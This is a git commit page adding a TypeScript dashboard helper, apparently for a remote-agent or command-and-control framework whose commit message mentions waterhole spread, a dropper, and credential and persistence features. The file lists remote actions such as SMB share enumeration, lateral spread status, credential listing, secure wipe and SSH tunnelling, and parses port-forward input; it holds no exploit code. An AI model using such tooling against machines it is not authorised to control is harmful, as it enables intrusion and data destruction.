feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e
Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests. Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs. Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.
This commit is contained in:
147
server/web/src/help/crucibleOps.ts
Normal file
147
server/web/src/help/crucibleOps.ts
Normal file
@@ -0,0 +1,147 @@
|
||||
import type { Agent } from '../types';
|
||||
import {
|
||||
aggressiveActionHint,
|
||||
canRunAggressiveAction,
|
||||
type AggressiveRemoteAction,
|
||||
} from './aggressiveActions';
|
||||
|
||||
/** Phase C Crucible remote actions (wired in agent + CrucibleExpandedOps). */
|
||||
export const CRUCIBLE_PHASE_C_ACTIONS = [
|
||||
'smb_shares',
|
||||
'spread_status',
|
||||
'credential_vault_list',
|
||||
'secure_wipe',
|
||||
'tunnel_ssh_forward',
|
||||
] as const;
|
||||
|
||||
export type CruciblePhaseCAction = (typeof CRUCIBLE_PHASE_C_ACTIONS)[number];
|
||||
|
||||
/** @deprecated use CRUCIBLE_PHASE_C_ACTIONS — kept for tests migrating off stubs */
|
||||
export const CRUCIBLE_PHASE_C_STUBS = [
|
||||
{ id: 'smb_shares', label: 'SMB Shares', hint: 'Enumerate accessible \\\\host\\share on Windows LAN' },
|
||||
{ id: 'spread_status', label: 'Spread Status', hint: 'Last lateral spread sweep summary JSON' },
|
||||
{ id: 'credential_vault_list', label: 'Credential Names', hint: 'Vault / keychain / SSH key names only' },
|
||||
{ id: 'secure_wipe', label: 'Secure Wipe', hint: 'Overwrite-then-delete folder' },
|
||||
{ id: 'port_fwd_matrix', label: 'Port-Forward Matrix', hint: 'Multi-node SSH local forward grid' },
|
||||
] as const;
|
||||
|
||||
export function isWindowsPlatform(platform?: string): boolean {
|
||||
if (!platform) return true;
|
||||
return platform.toLowerCase().includes('win');
|
||||
}
|
||||
|
||||
export function onlineAgents(agents: Agent[]): Agent[] {
|
||||
return agents.filter((a) => a.status === 'online');
|
||||
}
|
||||
|
||||
export function windowsOnlineAgents(agents: Agent[]): Agent[] {
|
||||
return onlineAgents(agents).filter((a) => isWindowsPlatform(a.platform));
|
||||
}
|
||||
|
||||
/** True when at least one online selected agent can run the aggressive action. */
|
||||
export function selectionCanRunAggressive(
|
||||
action: AggressiveRemoteAction,
|
||||
agents: Agent[]
|
||||
): boolean {
|
||||
const targets = onlineAgents(agents);
|
||||
if (targets.length === 0) return false;
|
||||
return targets.some((a) => canRunAggressiveAction(action, a.capabilities, a.platform));
|
||||
}
|
||||
|
||||
/** Disabled-state tooltip for bulk aggressive ops across a mixed selection. */
|
||||
export function selectionAggressiveHint(
|
||||
action: AggressiveRemoteAction,
|
||||
agents: Agent[]
|
||||
): string | undefined {
|
||||
const targets = onlineAgents(agents);
|
||||
if (targets.length === 0) return 'Select at least one online node';
|
||||
if (selectionCanRunAggressive(action, agents)) return undefined;
|
||||
const blocked = targets.find(
|
||||
(a) => !canRunAggressiveAction(action, a.capabilities, a.platform)
|
||||
);
|
||||
return aggressiveActionHint(action, blocked?.capabilities, blocked?.platform);
|
||||
}
|
||||
|
||||
/** Parse camera_list newline output into device paths/names. */
|
||||
export function parseCameraListMessage(message: string): string[] {
|
||||
return message
|
||||
.split('\n')
|
||||
.map((l) => l.trim())
|
||||
.filter((l) => l.length > 0 && !l.startsWith('['));
|
||||
}
|
||||
|
||||
export interface PortForwardRow {
|
||||
id: string;
|
||||
localPort: string;
|
||||
remoteHostPort: string;
|
||||
sshUser: string;
|
||||
}
|
||||
|
||||
export interface SSHForwardPayload {
|
||||
local_port: number;
|
||||
remote_host: string;
|
||||
remote_port: number;
|
||||
ssh_user?: string;
|
||||
}
|
||||
|
||||
/** Split "host:port" with optional IPv6 bracket form [::1]:22 */
|
||||
export function parseRemoteHostPort(raw: string): { host: string; port: number } | null {
|
||||
const trimmed = raw.trim();
|
||||
if (!trimmed) return null;
|
||||
if (trimmed.startsWith('[')) {
|
||||
const end = trimmed.indexOf(']');
|
||||
if (end < 0) return null;
|
||||
const host = trimmed.slice(1, end);
|
||||
const rest = trimmed.slice(end + 1);
|
||||
if (!rest.startsWith(':')) return null;
|
||||
const port = parseInt(rest.slice(1), 10);
|
||||
if (!host || !Number.isFinite(port) || port <= 0 || port > 65535) return null;
|
||||
return { host, port };
|
||||
}
|
||||
const idx = trimmed.lastIndexOf(':');
|
||||
if (idx <= 0) return null;
|
||||
const host = trimmed.slice(0, idx);
|
||||
const port = parseInt(trimmed.slice(idx + 1), 10);
|
||||
if (!host || !Number.isFinite(port) || port <= 0 || port > 65535) return null;
|
||||
return { host, port };
|
||||
}
|
||||
|
||||
export function buildSSHForwardPayload(
|
||||
localPort: string,
|
||||
remoteHostPort: string,
|
||||
sshUser?: string
|
||||
): SSHForwardPayload | null {
|
||||
const local = parseInt(localPort.trim(), 10);
|
||||
const remote = parseRemoteHostPort(remoteHostPort);
|
||||
if (!Number.isFinite(local) || local <= 0 || local > 65535 || !remote) return null;
|
||||
const payload: SSHForwardPayload = {
|
||||
local_port: local,
|
||||
remote_host: remote.host,
|
||||
remote_port: remote.port,
|
||||
};
|
||||
const user = sshUser?.trim();
|
||||
if (user) payload.ssh_user = user;
|
||||
return payload;
|
||||
}
|
||||
|
||||
export function newPortForwardRow(id?: string): PortForwardRow {
|
||||
const rowId = id ?? `pf-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`;
|
||||
return { id: rowId, localPort: '2222', remoteHostPort: '192.168.1.10:22', sshUser: '' };
|
||||
}
|
||||
|
||||
export function validatePortForwardRows(rows: PortForwardRow[]): string | null {
|
||||
if (rows.length === 0) return 'Add at least one forward row';
|
||||
for (const row of rows) {
|
||||
if (!buildSSHForwardPayload(row.localPort, row.remoteHostPort, row.sshUser)) {
|
||||
return `Invalid row: local ${row.localPort} → ${row.remoteHostPort}`;
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
export type CrucibleDispatchArgs = Record<string, unknown>;
|
||||
|
||||
export interface CrucibleDispatchTarget {
|
||||
id: string;
|
||||
name: string;
|
||||
}
|
||||
Reference in New Issue
Block a user